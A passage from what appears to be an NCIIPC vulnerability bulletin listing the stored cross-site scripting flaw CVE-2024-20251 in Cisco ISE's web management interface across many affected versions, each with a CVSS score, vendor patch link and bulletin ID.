Affected Version(s): 2.1\\(102.101\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/238

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.1\\(102.103\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/239

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/240

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/241

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2.0.470					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/242

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2\\(0.283\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/243

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2\\(0.470\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/244

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2\\(0.471\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/245

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2\\(0.903\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/246

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2\\(0.909\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/247

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2\\(0.910\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/248

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.2\\(1.145\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/249

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/250

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20251		
Affected Version(s): 2.3.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/251

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 2.3.0.298					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/252
Affected Version(s): 2.3\\(0.151\\)					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/253
Affected Version(s): 2.3\\(0.298\\)					
Improper Neutralizat	17-Jan-2024	5.4	A vulnerability in the web-based	https://sec.cloudapps.cisco.com	A-CIS-IDEN-130224/254

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Input During Web Page Generation ('Cross-site Scripting')			management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.3\\(0.904\\)					
Improper Neutralization of Input	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco	https://sec.cloudapps.cisco.com/security/center/content/Cisco	A-CIS-IDEN-130224/255

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	SecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.3\\(0.905\\)					
Improper Neutralization of Input During Web Page	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisor	A-CIS-IDEN-130224/256

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	y/cisco-sa-ISE-XSS-bL4VTML	
Affected Version(s): 2.4					
Improper Neutralization of Input During Web Page Generation	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated,	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/257

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/258

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4.0.357					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/259

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.192\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/260

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.247\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/261

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.357\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/262

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.901.1\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/263

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.901\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/264

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.902\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/265

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.903\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/266

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(0.904\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/267

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.4\\(100.159\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/268

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.5					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/269

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.5\\(0.1\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/270

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.5\\(0.225\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/271

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive, browser-based information. **CVE ID : CVE-2024-20251**		
Affected Version(s): 2.5\\(0.353\\)					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/272

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20251		
Affected Version(s): 2.6					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/273

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 2.6.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/274
Affected Version(s): 2.6.0.156					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	A-CIS-IDEN-130224/275
Affected Version(s): 2.6\\(0.156\\)					
Improper Neutralizat	17-Jan-2024	5.4	A vulnerability in the web-based	https://sec.cloudapps.cisco.com	A-CIS-IDEN-130224/276

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Input During Web Page Generation ('Cross-site Scripting')			management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. **CVE ID : CVE-2024-20251**	/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-XSS-bL4VTML	
